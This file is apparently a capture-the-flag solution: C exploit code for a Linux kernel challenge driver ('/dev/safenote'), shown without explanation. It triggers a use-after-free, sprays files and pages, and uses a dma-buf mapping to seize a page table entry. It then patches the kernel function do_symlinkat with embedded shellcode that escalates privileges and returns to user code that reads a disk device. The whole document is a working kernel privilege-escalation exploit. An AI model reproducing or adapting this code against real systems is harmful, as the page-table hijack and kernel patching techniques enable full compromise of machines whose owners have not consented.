1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209
| #include "Kernel.h" #define PAGE_SPRAY_NUM 0x400 #define FILE_SPRAY_NUM 0x200 char *buf, key[0x30]; int ko_fd; long kernel_entry = 0xfffffe0000000000,kernel_base; sem_t sem1, sem2, sem3; long* ibuf; int file_spray[FILE_SPRAY_NUM],pipefd[0x100][2]; void* page_spray[PAGE_SPRAY_NUM]; int dup_spray[0x1000], dup1_spray[0x1000];
int add(int idx) { return ioctl(ko_fd, 0x1337, &idx); }
int dele(int idx) { return ioctl(ko_fd, 0x1338, &idx); }
int uaf_dele(int idx) { return ioctl(ko_fd, 0x1339, &idx); } static void win() { char buf[0x100]; int fd = open("/dev/vda", O_RDONLY); if (fd < 0) { puts("[-] Lose…"); } else { puts("[+] Win!"); read(fd, buf, 0x100); write(1, buf, 0x100); puts("[+] Done"); } exit(0); }
int main() { save_user_land(); bind_core(0); unshare_setup(); buf = (char*)malloc(0x1000); memset(buf, 0, 0x1000); ibuf = (long*)buf; for (int i = 0; i < PAGE_SPRAY_NUM; i++) { page_spray[i] = mmap((void*)(0xdead0000UL + i * 0x10000UL), 0x8000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0); if (page_spray[i] == MAP_FAILED) { perror("mmap"); } } int dmafd = creat("/dev/dma_heap/system", O_RDWR); if (dmafd == -1) perror("dma_heap"); ko_fd = open("/dev/safenote", O_RDWR); if (ko_fd < 0) { perror("ko dev"); return 0; } for (int i = 0; i < 0x100; i++) { if (add(i) < 0) { perror("add"); } } for (int i = 0; i < 0x100; i++) { if (i == 0x50) { if (uaf_dele(i) < 0) { perror("uaf delete"); return 0; } continue; } if (dele(i) < 0) { perror("delete"); } } for (int i = 0; i < FILE_SPRAY_NUM / 2; i++) { file_spray[i] = open("/", O_RDONLY); if (file_spray[i] < 0) { perror("/"); } } puts("test"); dele(0x50); for (int i = FILE_SPRAY_NUM / 2 + 1; i < FILE_SPRAY_NUM; i++) { file_spray[i] = open("/", O_RDONLY); if (file_spray[i] < 0) { perror("/"); } } for (int i = 0; i < FILE_SPRAY_NUM / 2; i++) { close(file_spray[i]); } for (int i = 0; i < PAGE_SPRAY_NUM / 2; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j * 0x1000) = 'A' + j; int dma_buf_fd = -1; struct dma_heap_allocation_data data; data.len = 0x1000; data.fd_flags = O_RDWR; data.heap_flags = 0; data.fd = 0; if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) perror("DMA_HEAP_IOCTL_ALLOC"); printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd); for (int i = PAGE_SPRAY_NUM / 2; i < PAGE_SPRAY_NUM; i++) for (int j = 0; j < 8; j++) *(char*)(page_spray[i] + j * 0x1000) = 'A' + j; int ezdup = -1, ezdup1 = -1; void* evil; for (int k = FILE_SPRAY_NUM / 2; k < FILE_SPRAY_NUM; k += 2) { ezdup = file_spray[k], ezdup1 = file_spray[k + 1]; for (int j = 0; j < 0x1000; j++) { if ((dup_spray[j] = dup(ezdup)) < 0 || (dup1_spray[j] = dup(ezdup1)) < 0) { RED printf("dup"); CLOSE; break; } } evil = NULL; for (int i = 0; i < PAGE_SPRAY_NUM; i++) { if (*(char*)(page_spray[i] + 7 * 0x1000) != 'A' + 7) { evil = page_spray[i] + 0x7000; printf("[+] Found overlapping page: %p\n", evil); break; } } if (evil != NULL) { break; } for (int j = 0; j < 0x1000; j++) { if (close(dup_spray[j]) < 0 || close(dup1_spray[j]) < 0) { RED printf("close"); CLOSE; } } } if (evil == NULL) { RED printf("Target not found."); CLOSE; return 0; } munmap(evil, 0x1000); void* dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0); *(char*)dmabuf = '0';
for (int i = 0; i < 0x1000; i++) if (dup(ezdup) < 0 || dup(ezdup1) < 0) { perror("dup"); return 0; } printf("[+] DMA - BUF now points to PTE: 0x%016lx\n", dmabuf); printf("[+] DMA - BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf); void* wwwbuf = NULL; *(size_t*)dmabuf = 0x800000000009c067; for (int i = 0; i < PAGE_SPRAY_NUM; i++) { if (page_spray[i] == evil) continue; if (*(size_t*)page_spray[i] > 0xffff) { wwwbuf = page_spray[i]; printf("[+] Found victim page table: %p\n", wwwbuf); break; } } size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000 - 0x1dfd000 - 0x3000; printf("[+] Physical kernel base address: 0x%016lx\n", phys_base); puts("[+] Overwriting do_symlinkat…"); size_t phys_func = phys_base + 0x42cc40; *(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067; unsigned char shellcode[] = { 0xf3,0xf,0x1e,0xfa,0xe8,0x0,0x0,0x0,0x0,0x41,0x5f,0x49,0x81,0xef,0x49,0xcc,0x42,0x0,0x49,0x8d,0xbf,0x0,0x6b,0xa7,0x2,0x49,0x8d,0x87,0x70,0x26,0x1c,0x0,0xff,0xd0,0xbf,0x1,0x0,0x0,0x0,0x49,0x8d,0x87,0xa0,0x8f,0x1b,0x0,0xff,0xd0,0x48,0x89,0xc7,0x49,0x8d,0xb7,0xc0,0x68,0xa7,0x2,0x49,0x8d,0x87,0xd0,0xa,0x1c,0x0,0xff,0xd0,0x49,0x8d,0xbf,0x20,0x53,0xbb,0x2,0x49,0x8d,0x87,0xf0,0xc0,0x45,0x0,0xff,0xd0,0x48,0x89,0xc3,0x48,0xbf,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x49,0x8d,0x87,0xa0,0x8f,0x1b,0x0,0xff,0xd0,0x48,0x89,0x98,0x28,0x8,0x0,0x0,0x31,0xc0,0x48,0x89,0x4,0x24,0x48,0x89,0x44,0x24,0x8,0x48,0xb8,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x48,0x89,0x44,0x24,0x10,0x48,0xb8,0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x33,0x48,0x89,0x44,0x24,0x18,0x48,0xb8,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x48,0x89,0x44,0x24,0x20,0x48,0xb8,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x55,0x48,0x89,0x44,0x24,0x28,0x48,0xb8,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x48,0x89,0x44,0x24,0x30,0x49,0x8d,0x87,0xc6,0x11,0x40,0x1,0xff,0xe0,0xcc, }; void* p; p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8); *(size_t*)p = getpid(); p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8); *(size_t*)p = (size_t)&win; p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8); *(size_t*)p = user_cs; p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8); *(size_t*)p = user_rflags; p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8); *(size_t*)p = user_sp; p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8); *(size_t*)p = user_ss; memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode)); puts("[+] GO!GO!"); printf("%d\n", symlink("/jail/x", "/jail")); puts("[-] Failed…"); close(ko_fd); block(); return 0; }
|